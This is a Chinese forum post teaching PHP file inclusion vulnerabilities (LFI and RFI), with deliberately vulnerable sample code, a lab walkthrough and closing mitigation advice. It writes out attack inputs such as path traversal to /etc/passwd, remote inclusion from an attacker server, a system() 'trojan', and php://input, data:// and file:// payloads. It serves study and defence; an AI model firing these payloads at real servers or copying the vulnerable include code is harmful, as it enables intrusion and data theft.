电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 1505 人浏览分享

web渗透---文件包含漏洞

[复制链接]
1505 0
前言

文件包含漏洞在平时笔者挖掘的比较少 条件也比较苛刻 在一些旧的站点或者是旧的系统上面可能会比较多
这种漏洞但是在平时做渗透测试的时候也要细心一点 去发现每一个敏感的参数。

文件包含概念

文件包含指的是在php脚本中使用include或者require语句 将一个php文件内容插入到另一个php文件
中在服务器执行它之前例如:<?php include su.txt; ?>)
使用文件包含可以为开发人员省去大量的工作 开发人员在设计网站的时候所有的页面使用include或者require等语句将这些
文件包含起来,当页面需要更新的时候,就只需要去相对应的包含文件中修改文件代码 就不需要对所以的页面进行改动。

文件包含漏洞概述

1.文件包含漏洞的主要原因是因为用户能够控制include函数的内容 例如<?php include($_GET[file]);?>这样include
函数内的内容采用GET请求,用户就可以通过GET请求向服务器发送file=../../这样的指令 从而造成目录遍历漏洞
2.当使用了include require等函数包含文件的时候 被包含的文件会被服务器当作PHP代码来执行 PHP的内核并不会在意该文
件是什么类型,即使是图片也是可以被当作php代码来执行。所以黑客通常会将文件包含漏洞与上传结合在一起,上传内容带
有php语句的图片,在通过文件包含漏洞包含该图片,达到执行php代码的目的,从而控制服务器。

文件包含漏洞分类

1.本地文件包含 Local File Inclusion,简称LFI 本地文件包含漏洞是能够打开并包含本地文件的漏洞
例如下面代码 判断file是否在该本地路径下面,如果存在则可以执行本地文件包含file=../../etc/passwd
  1. <?php
  2. $file=$_GET[‘file’];
  3. If(file_exists(‘PHPTutorial/WWW’,.$ile))
  4. {
  5. Include ‘PHPTutorial/WWW.$file’;
  6. }
  7. ?>
复制代码

2.远程文件包含 Remote File Inclusion 简称RFI 在本地包含的基础上 ini文件中的allow_url_include
选项要为ON 默认为OFF include/require函数就可以加载远程文件。
例如下面代码,攻击者可以构造file=http://攻击者服务器地址//攻击文件
  1. <?php
  2. $Path=$_GET[‘path’];
  3. Require_once $Path;
  4. ?>
复制代码

本地文件包含复现

这是文件包含漏洞 以file来传参 查找mima.txt的位置(file=../mima.txt 跳转到与mima.txt相同的
路径下面并且可以查看mima.txt的文件内容。

153502jl7jxhunjg449zjh.png
153511z51kzzgjd1ca2ftq.png

远程文件包含复现

服务器上PHP开启了配置选项allow_url_include 导致include/require可以加载远程的文件
从而构成了远程文件包含漏洞
php.ini配置文件

153511z51kzzgjd1ca2ftq.png

查看攻击机的ip地址,将攻击机路径下的木马上传上去

153552ixu2ewlw2wwzw1q8.png

下面为木马文件 将执行sysytem函数中的系统指令ipconfig
  1. <?php
  2. system('ifconfig')
  3. ?>
复制代码

69.png

由于php内核的特性,浏览器将txt文件也翻译成了php文件 执行shell.txt文件中的代码

68.png

利用php file://伪协议获取文件
1.file://访问本地文件系统的封装协议 展现了本地文件系统
2.当指定了一个相对路径提供的路径将基于当前的工作目录展示 当存在某个用户可控制的输入点的时候
可以尝试使用输入file://去获取本地磁盘文件

利用伪协议file://C:/phpStudy/PHPTutorial/WWW/11/mima.txt 服务器的绝对路径来获取服务器中的文件

66.png
62.png

利用php伪协议和文件包含漏洞执行php命令
1.远程文件包含漏洞能够执行攻击者自定义的php代码
2.利用php伪协议可以使得本地文件包含也有机会执行自定义的php代码,让本地文件包含的利用更加具有危
害性伪协议有data://或者php://input
3.?file=php://input,然后POST方式提交php代码(burp抓包在请求包中加入<?php php代码;?>)
4.?file=data:text/plain,<?php php代码;?>

用burp的代理拦截将file=php://input拦截下来 添加php代码以post的方式 http正文中将php代码上传到服务器中

61.png
60.png

file=data:text/plain,<?Php phpinfo();?>以get的方式(在url中)上传php代码

59.png

总结

对文件包含漏洞的防范建议

1.关闭allow_url_include选项 PHP会通过Include/Require进行远程文件包含。
2.在php代码中禁止0字节 防止攻击者截断攻击。
3.PHP配置文件中有open_basedir选项 限制php仅能打开某个文件夹的文件 PHP仅仅在该目录内搜索文件。
4.尽量不要使用动态包含,出现用户可控的参数 可以在需要包含的页面固定写好 如:include('su.php'

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.